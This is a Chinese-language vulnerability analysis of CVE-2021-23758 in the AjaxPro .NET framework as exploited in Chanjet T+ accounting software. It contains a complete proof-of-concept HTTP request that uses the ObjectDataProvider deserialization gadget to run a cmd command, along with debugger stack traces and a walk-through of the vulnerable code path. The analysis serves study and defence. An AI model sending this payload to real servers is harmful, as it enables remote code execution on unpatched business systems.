概述： CVE-2021-23758 Ajax.NET Professional 中的 RCE 反序列化漏洞分析及说明
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漏洞说明
Ajax.NET Professional (AjaxPro)是最先把AJAX技术应用在微软.NET环境下框架之一，具有部署简单、使用方便、运行高效等特点； 该框架能够创建一个代理类且可以使客户端的JS代码实现调用服务端的方法，并能返回各种在.NET里使用的类型；使用该框架和直接使用.NET基本无差别。
该漏洞是由于AjaxPro开源组件.NET Class Handler存在对输入数据限制检查不严格引起的；该AjaxPro框架在JavaScriptDeserializer.DeserializeFromJson函数反序列化过程中，如果通过__type获取的Type对象且可对其Type对象修改，攻击者可利用该漏洞在目标主机上执行任意代码。
详见后文分析。
受影响软件
畅捷通 T+ GetStoreWarehouseByStore 反序列化漏洞
影响版本
T+13.0、T+16.0
漏洞说明
分析内容在堆栈章节
漏洞主要是因为ajaxPro组件存在 CVE-2021-23758，但是这个漏洞有个要求是传输的参数类型必须是 object
通过反编译
App_Code.dll 的 UfIDA.T.CodeBehind._PriorityLevel 中 GetStoreWarehouseByStore 方法满足这个要求
补充
2025 年 11 月 13 日
可以看到 GetStoreWarehouseByStore 由[AjaxMethod]修饰，接收一个 object 类型的参数 storeID
所以路径就是
/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore
/tplus 是 nginx 的映射路径，/ajaxpro/* 则是 web.config 中定义的 ajaxPro 组件处理路径
POC
执行 POC 会在 tplus 目录下生成 testwhoami.txt 文本
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
X-Ajaxpro-Method: GetStoreWarehouseByStore
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 597
{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd", "Arguments":"/c whoami > testwhoami.txt"
}
}
}
}执行结果：
堆栈
如上所示POC，可以看到在执行 Arguments 时，ping 命令调用到了 System.Diagnostics.Process.Start 函数。
System.dll!System.Diagnostics.Process.Start() (IL=0x0000, Native=0x09963278+0x8)
[本机到托管的转换]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL=epilog, Native=0x6A109B90+0xCA)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x6A1096E0+0x8E)
mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x073D, Native=0x6A0CE270+0xAC8)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0025, Native=0x09963000+0x82)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x09962750+0xF5)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=epilog, Native=0x03A4FE18+0xC8)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.ObjectInstance.set(object value) (IL=epilog, Native=0x09962DB8+0x9B)
[本机到托管的转换]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x0016, Native=0x6A109B90+0x61)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x6A1096E0+0x8E)
mscorlib.dll!System.Reflection.RuntimePropertyInfo.SetValue(object obj, object value, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] index, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x6A0EF6E0+0x65)
mscorlib.dll!System.Reflection.RuntimePropertyInfo.SetValue(object obj, object value, object[] index) (IL=epilog, Native=0x6A0EF6C0+0x18)
> AjaxPro.2.dll!AjaxPro.JavaScriptDeserializer.DeserializeCustomObject(AjaxPro.JavaScriptObject o, System.Type type) (IL≈0x015E, Native=0x03A67FF8+0x311)
AjaxPro.2.dll!AjaxPro.JavaScriptDeserializer.Deserialize(AjaxPro.IJavaScriptObject o, System.Type type) (IL≈0x0151, Native=0x00CF5D30+0x2E6)
AjaxPro.2.dll!AjaxPro.XmlHttpRequestProcessor.RetreiveParameters() (IL≈0x0180, Native=0x12CA1F98+0x290)
AjaxPro.2.dll!AjaxPro.AjaxProcHelper.Run() (IL≈0x01F6, Native=0x12CA0040+0x3B8)
AjaxPro.2.dll!AjaxPro.AjaxSyncHttpHandler.ProcessRequest(System.Web.HttpContext context) (IL=0x0010, Native=0x12C7FA58+0x2C)
System.Web.dll!System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL≈0x018D, Native=0x12A84DC0+0x305)
System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x0E35F2A8+0x6E)
System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x0E35F070+0x4A)
System.Web.dll!System.Web.HttpApplication.ApplicationStepManager.ResumeSteps(System.Exception error) (IL≈0x00F6, Native=0x0E35D228+0x1C7)
System.Web.dll!System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(System.Web.HttpContext context, System.AsyncCallback cb, object extraData) (IL=0x005C, Native=0x0E35CC68+0xDC)
System.Web.dll!System.Web.HttpRuntime.ProcessRequestInternal(System.Web.HttpWorkerRequest wr) (IL≈0x015B, Native=0x06F5CCF0+0x29B)
System.Web.dll!System.Web.HttpRuntime.ProcessRequestNoDemand(System.Web.HttpWorkerRequest wr) (IL=epilog, Native=0x06F5A7C0+0x4F)
System.Web.dll!System.Web.HttpRuntime.ProcessRequest(System.Web.HttpWorkerRequest wr) (IL=epilog, Native=0x06F5A540+0x31)
Chanjet.TP.WebServer.dll!Mono.WebServer.MonoWorkerRequest.ProcessRequest() (IL≈0x000F, Native=0x06F59E20+0x37)
Chanjet.TP.WebServer.dll!Mono.WebServer.BaseApplicationHost.ProcessRequest(Mono.WebServer.MonoWorkerRequest mwr) (IL≈0x002A, Native=0x06F59C38+0x5E)
Chanjet.TP.WebServer.FastCgi.exe!Mono.WebServer.FastCgi.ApplicationHost.ProcessRequest(Mono.WebServer.FastCgi.Responder responder) (IL=0x0055, Native=0x06F53E50+0x10D)
mscorlib.dll!System.Runtime.Remoting.Messaging.StackBuilderSink.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage msg) (IL=???, Native=0x6A0D42B0+0x1F4)
mscorlib.dll!System.Runtime.Remoting.Messaging.ServerObjectTerminatorSink.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage reqMsg) (IL≈0x0048, Native=0x6A0D4238+0x67)
mscorlib.dll!System.Runtime.Remoting.Messaging.ServerContextTerminatorSink.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage reqMsg) (IL≈0x004F, Native=0x6A0D413C+0x8B)
mscorlib.dll!System.Runtime.Remoting.Channels.CrossContextChannel.SyncProcessMessageCallback(object[] args) (IL≈0x0059, Native=0x6A0D3E94+0x98)
mscorlib.dll!System.Threading.Thread.CompleteCrossContextCallback(System.Threading.InternalCrossContextDelegate ftnToCall, object[] args) (IL=epilog, Native=0x6A1024F8+0xD)
mscorlib.dll!System.Runtime.Remoting.Channels.CrossContextChannel.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage reqMsg) (IL≈0x001F, Native=0x6A0D3D40+0xA1)
mscorlib.dll!System.Runtime.Remoting.Channels.ChannelServices.SyncDispatchMessage(System.Runtime.Remoting.Messaging.IMessage msg) (IL≈0x0042, Native=0x6A0EAF38+0x93)
mscorlib.dll!System.Runtime.Remoting.Channels.CrossAppDomainSink.DoDispatch(byte[] reqStmBuff, System.Runtime.Remoting.Messaging.SmuggledMethodCallMessage smuggledMcm, out System.Runtime.Remoting.Messaging.SmuggledMethodReturnMessage smuggledMrm) (IL≈0x0047, Native=0x6A0D2F50+0xF4)
mscorlib.dll!System.Runtime.Remoting.Channels.CrossAppDomainSink.DoTransitionDispatchCallback(object[] args) (IL≈0x0016, Native=0x6A0D77EC+0x84)
mscorlib.dll!System.Threading.Thread.CompleteCrossContextCallback(System.Threading.InternalCrossContextDelegate ftnToCall, object[] args) (IL=epilog, Native=0x6A1024F8+0xD)
[程序域转换]
mscorlib.dll!System.Runtime.Remoting.Channels.CrossAppDomainSink.DoTransitionDispatch(byte[] reqStmBuff, System.Runtime.Remoting.Messaging.SmuggledMethodCallMessage smuggledMcm, out System.Runtime.Remoting.Messaging.SmuggledMethodReturnMessage smuggledMrm) (IL≈0x0002, Native=0x6A0D2E5C+0x7A)
mscorlib.dll!System.Runtime.Remoting.Channels.CrossAppDomainSink.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage reqMsg) (IL≈0x0053, Native=0x6A0D24AC+0x9A)
mscorlib.dll!System.Runtime.Remoting.Proxies.RemotingProxy.CallProcessMessage(System.Runtime.Remoting.Messaging.IMessageSink ms, System.Runtime.Remoting.Messaging.IMessage reqMsg, System.Runtime.Remoting.Contexts.ArrayWithSize proxySinks, System.Threading.Thread currentThread, System.Runtime.Remoting.Contexts.Context currentContext, bool bSkippingContextChain) (IL≈0x003A, Native=0x6A0D22EC+0x51)
mscorlib.dll!System.Runtime.Remoting.Proxies.RemotingProxy.InternalInvoke(System.Runtime.Remoting.Messaging.IMethodCallMessage reqMcmMsg, bool useDispatchMessage, int callType) (IL=???, Native=0x6A0D2070+0x1DE)
mscorlib.dll!System.Runtime.Remoting.Proxies.RemotingProxy.Invoke(System.Runtime.Remoting.Messaging.IMessage reqMsg) (IL=epilog, Native=0x6A0D2000+0x69)
mscorlib.dll!System.Runtime.Remoting.Proxies.RealProxy.PrivateInvoke(ref System.Runtime.Remoting.Proxies.MessageData msgData, int type) (IL≈0x0155, Native=0x6A0D1DA0+0xF4)
Chanjet.TP.WebServer.FastCGI.exe!Mono.WebServer.FastCgi.Responder.Process() (IL=0x0068, Native=0x039C3988+0x162)
Chanjet.TP.WebServer.FastCGI.exe!Mono.FastCgi.ResponderRequest.Worker(object state) (IL≈0x0002, Native=0x039C37C8+0x4B)
mscorlib.dll!System.Threading.QueueUserWorkItemCallback.WaitCallback_Context(object state) (IL=epilog, Native=0x6A0F0960+0x44)
mscorlib.dll!System.Threading.ExecutionContext.RunInternal(System.Threading.ExecutionContext executionContext, System.Threading.ContextCallback callback, object state, bool preserveSyncCtx) (IL≈0x0079, Native=0x6A047D70+0xC4)
mscorlib.dll!System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext executionContext, System.Threading.ContextCallback callback, object state, bool preserveSyncCtx) (IL=epilog, Native=0x6A047D50+0x17)
mscorlib.dll!System.Threading.QueueUserWorkItemCallback.System.Threading.IThreadPoolWorkItem.ExecuteWorkItem() (IL=epilog, Native=0x6A0F09B0+0x45)
mscorlib.dll!System.Threading.ThreadPoolWorkQueue.Dispatch() (IL=0x00A4, Native=0x6A0E1920+0x19D)
mscorlib.dll!System.Threading._ThreadPoolWaitCallback.PerformWaitCallback() (IL=epilog, Native=0x6A0E1910+0xB)
[本机到托管的转换]
如上所示一大堆，只需要关注其中的几个就可以：
AjaxPro.2.dll!AjaxPro.JavaScriptDeserializer.DeserializeCustomObject(AjaxPro.JavaScriptObject o, System.Type type)
AjaxPro.2.dll!AjaxPro.JavaScriptDeserializer.Deserialize(AjaxPro.IJavaScriptObject o, System.Type type)
AjaxPro.2.dll!AjaxPro.XmlHttpRequestProcessor.RetreiveParameters()
AjaxPro.2.dll!AjaxPro.AjaxProcHelper.Run()
AjaxPro.2.dll!AjaxPro.AjaxSyncHttpHandler.ProcessRequest(System.Web.HttpContext context)堆栈&漏
漏洞复现
从上面分析可知，如果要控制反序列化操作的 Type，那么必须保证 Ajax 处理函数的输出参数类型是可控的，而 GetStoreWarehouseByStore 函数的输入参数为 Objectt 类型，符合当前漏洞要求：
修改请求数据包，加入__type参数，并加入ObjectDataProvider利用链，发送数据包后成功触发RCE。
发送 Ajax 请求后，首先会进入继承于 IHttpHandler 接口的类 AjaxSyncHttpHandler，调用函数 ProcessRequest 进行处理：
接着进入XmlHttpRequestProcessor.RetreiveParameters函数：
其中第23行通过method.GetParameters加载自定义的全部Ajax Method，即所有采用[AjaxPro.AjaxMethod]进行装饰的函数，比如本次漏洞的 GetStoreWarehouseByStore 方法：
上述 parameters 的类型为:
{System.Reflection.RuntimeParameterInfo} System.Reflection.ParameterInfo {System.Reflection.RuntimeParameterInfo}
自定义的 方法：
((System.Reflection.RuntimeMethodInfo)parameters[0].MemberImpl).m_name = “GetStoreWarehouseByStore”
接着往下走，第120行通过JavaScriptDeserializer.DeserializeFromJson反序列化得到一个JavaScriptObject对象，这里指定了Type类型，继续往下看：
进入 JavaScriptDeserizlizer.Deserializer ：
这里判断是否存在__type参数，如果存在且通过__type获取的Type对象继承于处理函数输入参数数据类型（type.IsAssignableFrom(t)），可以修改反序列化的type对象。继续往下走，最终调用DeserializeCustomObject函数完成处理，处理过程与.NET JavaScriptSerializer等其他反序列化方式非常类似。
在新版本的 AjaxPro.Net 中，对自定义反序列化类型的操作加入了配置限制，只有预先配置好的Type类型才能进行修改，导致恶意类无法被插入。
堆栈记录
Current frame: (MethodDesc 08d54d70 +0 System.Diagnostics.Process.Start())
ChildEBP RetAddr Caller, Callee
12eecd98 74302546 clr!CallDescrWorkerInternal+0x34
12eecda4 7430e4c9 clr!CallDescrWorkerWithHandler+0x6b, calling clr!CallDescrWorkerInternal
12eecdb8 7430e482 clr!CallDescrWorkerWithHandler+0x20, calling clr!_alloca_probe
12eecdf8 7431171f clr!CallDescrWorkerReflectionWrapper+0x55, calling clr!CallDescrWorkerWithHandler
12eece38 7431161f clr!RuntimeMethodHandle::InvokeMethod+0x747, calling clr!CallDescrWorkerReflectionWrapper
12eece3c 74321428 clr!ArgIteratorForMethodInvoke::ArgIteratorForMethodInvoke+0x52, calling clr!MethodDesc::IsInterface
12eece54 743113bb clr!RuntimeMethodHandle::InvokeMethod+0x224, calling clr!_alloca_probe_16
12eeceb4 743112ce clr!RuntimeMethodHandle::InvokeMethod+0x6e, calling clr!LazyMachStateCaptureState
12eecefc 7431efb5 clr!SigPointer::GetTypeHandleThrowing+0xb69, calling clr!__security_check_cookie
12eecf28 7430fe88 clr!MetaSig::Init+0x16c, calling clr!CorSigUncompressData
12eecf30 7430febe clr!MetaSig::Init+0x19e, calling clr!SigParser::SkipExactlyOne
12eecf74 743201bb clr!InvokeUtil::IsDangerousMethod+0x10c, calling clr!MethodTable::ParentEquals
12eecfa0 7432134c clr!ReflectionInvocation::GetSpecialSecurityFlags+0x6d, calling clr!_EH_epilog3
12eed0ac 72669c5a (MethodDesc 72330be0 +0xca System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(System.Object, System.Object[], System.Object[])), calling clr!RuntimeMethodHandle::InvokeMethod
12eed0b8 7259c4c1 (MethodDesc 72323b28 +0x21 System.RuntimeMethodHandle.PerformSecurityCheck(System.Object, System.IRuntimeMethodInfo, System.RuntimeType, UInt32)), calling clr!ReflectionInvocation::PerformSecurityCheck
12eed0d0 7266976e (MethodDesc 72330bcc +0x8e System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo)), calling (MethodDesc 72330be0 +0 System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(System.Object, System.Object[], System.Object[]))
12eed0fc 7262ed38 (MethodDesc 723296c0 +0xac8 System.RuntimeType.InvokeMember(System.String, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object, System.Object[], System.Reflection.ParameterModifier[], System.Globalization.CultureInfo, System.String[]))
12eed250 09e79e6a (MethodDesc 09daf980 +0x82 System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(System.Exception ByRef))
12eed290 743037d0 clr!TypeHandle::GetSignatureCorElementType+0x13, calling clr!MethodTable::GetSignatureCorElementType
12eed2a4 09e77e55 (MethodDesc 09daf968 +0xf5 System.Windows.Data.ObjectDataProvider.QueryWorker(System.Object)), calling (MethodDesc 09daf980 +0 System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(System.Exception ByRef))
12eed2c8 09e74c08 (MethodDesc 09daf93c +0xc8 System.Windows.Data.ObjectDataProvider.BeginQuery()), calling (MethodDesc 09daf968 +0 System.Windows.Data.ObjectDataProvider.QueryWorker(System.Object))
12eed2d8 09e79c43 (MethodDesc 09daf8c4 +0x9b System.Windows.Data.ObjectDataProvider.set_ObjectInstance(System.Object))
12eed2e8 74302546 clr!CallDescrWorkerInternal+0x34
12eed2f4 7430e4c9 clr!CallDescrWorkerWithHandler+0x6b, calling clr!CallDescrWorkerInternal
12eed308 7430e482 clr!CallDescrWorkerWithHandler+0x20, calling clr!_alloca_probe
12eed348 7431171f clr!CallDescrWorkerReflectionWrapper+0x55, calling clr!CallDescrWorkerWithHandler
12eed388 7431161f clr!RuntimeMethodHandle::InvokeMethod+0x747, calling clr!CallDescrWorkerReflectionWrapper
12eed3a4 743113bb clr!RuntimeMethodHandle::InvokeMethod+0x224, calling clr!_alloca_probe_16
12eed404 743112ce clr!RuntimeMethodHandle::InvokeMethod+0x6e, calling clr!LazyMachStateCaptureState
12eed428 7431eb4e clr!StgBlobPoolReadOnly::GetBlob+0x71, calling clr!MetaData::DataBlob::PeekCompressedU
12eed44c 7431efb5 clr!SigPointer::GetTypeHandleThrowing+0xb69, calling clr!__security_check_cookie
12eed478 7430fe88 clr!MetaSig::Init+0x16c, calling clr!CorSigUncompressData
12eed480 7430febe clr!MetaSig::Init+0x19e, calling clr!SigParser::SkipExactlyOne
12eed4c4 743201bb clr!InvokeUtil::IsDangerousMethod+0x10c, calling clr!MethodTable::ParentEquals
12eed528 7432452c clr!Security::IsTypeCritical+0x37, calling clr!EEClass::IsCritical
12eed580 725a5e1d (MethodDesc 7242cd2c +0x5d System.RuntimeType.CheckValue(System.Object, System.Reflection.Binder, System.Globalization.CultureInfo, System.Reflection.BindingFlags)), calling clr!RuntimeTypeHandle::IsValueType
12eed5fc 72669bf1 (MethodDesc 72330be0 +0x61 System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(System.Object, System.Object[], System.Object[])), calling clr!RuntimeMethodHandle::InvokeMethod
12eed620 7266976e (MethodDesc 72330bcc +0x8e System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo)), calling (MethodDesc 72330be0 +0 System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(System.Object, System.Object[], System.Object[]))
12eed64c 7264f745 (MethodDesc 72333960 +0x65 System.Reflection.RuntimePropertyInfo.SetValue(System.Object, System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo))
12eed674 7264f6d8 (MethodDesc 72333958 +0x18 System.Reflection.RuntimePropertyInfo.SetValue(System.Object, System.Object, System.Object[]))
12eed690 0971c9a9 (MethodDesc 12efc328 +0x311 AjaxPro.JavaScriptDeserializer.DeserializeCustomObject(AjaxPro.JavaScriptObject, System.Type))
12eed6dc 72588cc7 (MethodDesc 7242cb68 +0x37 System.RuntimeType.IsAssignableFrom(System.Type)), calling clr!RuntimeTypeHandle::CanCastTo
12eed6f0 0971c426 (MethodDesc 12efc31c +0x2e6 AjaxPro.JavaScriptDeserializer.Deserialize(AjaxPro.IJavaScriptObject, System.Type)), calling (MethodDesc 12efc328 +0 AjaxPro.JavaScriptDeserializer.DeserializeCustomObject(AjaxPro.JavaScriptObject, System.Type))
12eed748 0971af98 (MethodDesc 12ef9740 +0x290 AjaxPro.XmlHttpRequestProcessor.RetreiveParameters()), calling (MethodDesc 12efc31c +0 AjaxPro.JavaScriptDeserializer.Deserialize(AjaxPro.IJavaScriptObject, System.Type))
12eed76c 0971938f (MethodDesc 12efc184 +0x3b7 AjaxPro.AjaxProcHelper.Run())
12eed778 7447be07 clr!COMPlusCheckForAbort+0xfe, calling clr!EHWatsonBucketTracker::ClearWatsonBucketDetails
12eed934 09718f94 (MethodDesc 12ef9e3c +0x2c AjaxPro.AjaxSyncHttpHandler.ProcessRequest(System.Web.HttpContext)), calling (MethodDesc 12efc184 +0 AjaxPro.AjaxProcHelper.Run())
12eed948 113e263d (MethodDesc 0977a988 +0x305 System.Web.HttpApplication+CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()), calling 0469b966
12eed950 0f4953e7 (MethodDesc 097775c4 +0x1bf System.Web.HttpApplication+AsyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute())
12eed984 0f4d8dce (MethodDesc 04bbdc5c +0x6e System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep)), calling 0957164a
12eed998 0f4d8b6a (MethodDesc 04bbdc78 +0x4a System.Web.HttpApplication.ExecuteStep(IExecutionStep, Boolean ByRef)), calling (MethodDesc 04bbdc5c +0 System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep))
12eed9d4 0f4d710f (MethodDesc 09772814 +0x1c7 System.Web.HttpApplication+ApplicationStepManager.ResumeSteps(System.Exception)), calling (MethodDesc 04bbdc78 +0 System.Web.HttpApplication.ExecuteStep(IExecutionStep, Boolean ByRef))
12eeda28 0f4d6e6c (MethodDesc 04bbdb3c +0xdc System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(System.Web.HttpContext, System.AsyncCallback, System.Object))
12eeda40 0692ab13 (MethodDesc 047a88cc +0x29b System.Web.HttpRuntime.ProcessRequestInternal(System.Web.HttpWorkerRequest)), calling 0469b4a2
12eeda4c 7266d0cf (MethodDesc 7231fe24 +0x6f System.DateTime.get_UtcNow()), calling (MethodDesc 7231fc70 +0 System.DateTime.TimeToTicks(Int32, Int32, Int32))
12eeda80 0692a06f (MethodDesc 047a8a28 +0x4f System.Web.HttpRuntime.ProcessRequestNoDemand(System.Web.HttpWorkerRequest)), calling (MethodDesc 047a88cc +0 System.Web.HttpRuntime.ProcessRequestInternal(System.Web.HttpWorkerRequest))
12eeda90 06929dd1 (MethodDesc 047a8a1c +0x31 System.Web.HttpRuntime.ProcessRequest(System.Web.HttpWorkerRequest)), calling (MethodDesc 047a8a28 +0 System.Web.HttpRuntime.ProcessRequestNoDemand(System.Web.HttpWorkerRequest))
12eedaa4 069296b7 (MethodDesc 063fe0d8 +0x37 Mono.WebServer.MonoWorkerRequest.ProcessRequest()), calling (MethodDesc 047a8a1c +0 System.Web.HttpRuntime.ProcessRequest(System.Web.HttpWorkerRequest))
12eedaec 069294f6 (MethodDesc 063fd2ac +0x5e Mono.WebServer.BaseApplicationHost.ProcessRequest(Mono.WebServer.MonoWorkerRequest)), calling (MethodDesc 063fe0d8 +0 Mono.WebServer.MonoWorkerRequest.ProcessRequest())
12eedb1c 069237bd (MethodDesc 063fd3c0 +0x10d Mono.WebServer.FastCgi.ApplicationHost.ProcessRequest(Mono.WebServer.FastCgi.Responder)), calling 06923150
12eedb68 74302546 clr!CallDescrWorkerInternal+0x34
12eedb74 7430e4c9 clr!CallDescrWorkerWithHandler+0x6b, calling clr!CallDescrWorkerInternal
12eedb88 7430e482 clr!CallDescrWorkerWithHandler+0x20, calling clr!_alloca_probe
12eedbc8 7471fbe4 clr!CallDescrWithObjectArray+0x4d0, calling clr!CallDescrWorkerWithHandler
12eedc00 7471f8b3 clr!CallDescrWithObjectArray+0xd7, calling clr!_alloca_probe_16
12eedcc8 7471f59a clr!CStackBuilderSink::PrivateProcessMessage+0x1b4, calling clr!CallDescrWithObjectArray
12eedd38 7441d69e clr!PEImage::Equals+0xd6, calling clr!_EH_epilog3
12eedd88 7471f4b5 clr!CStackBuilderSink::PrivateProcessMessage+0x75, calling clr!LazyMachStateCaptureState
12eedd94 7441da51 clr!PEFile::Equals+0xbd, calling clr!PEImage::Equals
12eeddbc 743b8189 clr!CRealProxy::ProxyTypeIdentityCheck+0x75, calling clr!PEFile::Equals
12eedde8 743b6533 clr!CRealProxy::UpdateOptFlags+0xd3, calling ucrtbase_clr0400!strcmp
12eeddf0 743b645a clr!CRealProxy::UpdateOptFlags+0x108, calling clr!CRealProxy::ProxyTypeIdentityCheck
12eede38 743b6424 clr!CRemotingServices::CheckCast+0x70, calling clr!CRealProxy::UpdateOptFlags
12eede64 743b4d91 clr!ObjIsInstanceOf+0x5e, calling clr!CRemotingServices::CheckCast
12eedeac 7472b612 clr!IsInstanceOfTypeHelper+0x87, calling clr!ObjIsInstanceOf
12eedeb0 7472b5d1 clr!IsInstanceOfTypeHelper+0x46, calling clr!_EH_epilog3
12eedee8 74302546 clr!CallDescrWorkerInternal+0x34
12eedef8 7430e4da clr!CallDescrWorkerWithHandler+0x9b, calling clr!CallDescrWorkerWithHandler+0x7e
12eedf10 7472b5c6 clr!IsInstanceOfTypeHelper+0x3b, calling clr!LazyMachStateCaptureState
12eedf44 7472b5d1 clr!IsInstanceOfTypeHelper+0x46, calling clr!_EH_epilog3
12eedf48 7472b697 clr!RuntimeTypeHandle::IsInstanceOfType+0x49, calling clr!IsInstanceOfTypeHelper
12eedf58 725a5d0b (MethodDesc 7242cb50 +0xb System.RuntimeType.IsInstanceOfType(System.Object)), calling clr!RuntimeTypeHandle::IsInstanceOfType
12eedf5c 72634a9b (MethodDesc 723f9790 +0x4f System.Runtime.Remoting.Messaging.Message.CoerceArg(System.Object, System.Type))
12eedfa4 7430cb49 clr!JIT_Stelem_Ref+0x25, calling clr!JIT_WriteBarrierEAX
12eedfa8 72634a17 (MethodDesc 723f9784 +0x7f System.Runtime.Remoting.Messaging.Message.CoerceArgs(System.Reflection.MethodBase, System.Object[], System.Reflection.ParameterInfo[])), calling clr!JIT_Stelem_Ref
12eedfb0 7263478c (MethodDesc 723fa290 +0xb8 System.Runtime.Remoting.Messaging.StackBuilderSink.VerifyIsOkToCallMethod(System.Object, System.Runtime.Remoting.Messaging.IMethodMessage))
12eedfcc 726347c4 (MethodDesc 723fa284 +0x2c System.Runtime.Remoting.Messaging.StackBuilderSink.GetMethodBase(System.Runtime.Remoting.Messaging.IMethodMessage)), calling (MethodDesc 72321e0c +0 System.Reflection.MethodBase.op_Equality(System.Reflection.MethodBase, System.Reflection.MethodBase))
12eedfec 726344a4 (MethodDesc 7230cc10 +0x1f4 System.Runtime.Remoting.Messaging.StackBuilderSink.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage)), calling clr!CStackBuilderSink::PrivateProcessMessage
12eee04c 7263429f (MethodDesc 723fa230 +0x67 System.Runtime.Remoting.Messaging.ServerObjectTerminatorSink.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage))
12eee060 726341c7 (MethodDesc 723f9e80 +0x8b System.Runtime.Remoting.Messaging.ServerContextTerminatorSink.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage)), calling 0168c28a
12eee090 72633f2c (MethodDesc 721cef2c +0x98 System.Runtime.Remoting.Channels.CrossContextChannel.SyncProcessMessageCallback(System.Object[])), calling 01687706
12eee0cc 72662505 (MethodDesc 72328110 +0xd System.Threading.Thread.CompleteCrossContextCallback(System.Threading.InternalCrossContextDelegate, System.Object[]))
12eee0d0 74302546 clr!CallDescrWorkerInternal+0x34
12eee0dc 7430e4c9 clr!CallDescrWorkerWithHandler+0x6b, calling clr!CallDescrWorkerInternal
12eee0f0 7430e482 clr!CallDescrWorkerWithHandler+0x20, calling clr!_alloca_probe
12eee130 74322440 clr!DispatchCallDebuggerWrapper+0x59, calling clr!CallDescrWorkerWithHandler
12eee174 74322695 clr!DispatchCallSimple+0x8e, calling clr!DispatchCallDebuggerWrapper
12eee1c0 743b6e26 clr!ThreadNative::InternalCrossContextCallback+0x1db, calling clr!DispatchCallSimple
12eee228 743b6cd4 clr!ThreadNative::InternalCrossContextCallback+0x64, calling clr!LazyMachStateCaptureState
12eee274 72599072 (MethodDesc 7242cabc +0x11a System.RuntimeType.GetMethodImpl(System.String, System.Reflection.BindingFlags, System.Reflection.Binder, System.Reflection.CallingConventions, System.Type[], System.Reflection.ParameterModifier[]))
12eee2d0 72633461 (MethodDesc 721cef08 +0xd1 System.Runtime.Remoting.Messaging.MethodCall.ResolveMethod(Boolean)), calling (MethodDesc 723290bc +0 System.Type.GetMethod(System.String, System.Reflection.BindingFlags, System.Reflection.Binder, System.Reflection.CallingConventions, System.Type[], System.Reflection.ParameterModifier[]))
12eee2f8 72633de1 (MethodDesc 723f9df0 +0xa1 System.Runtime.Remoting.Channels.CrossContextChannel.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage)), calling clr!ThreadNative::InternalCrossContextCallback
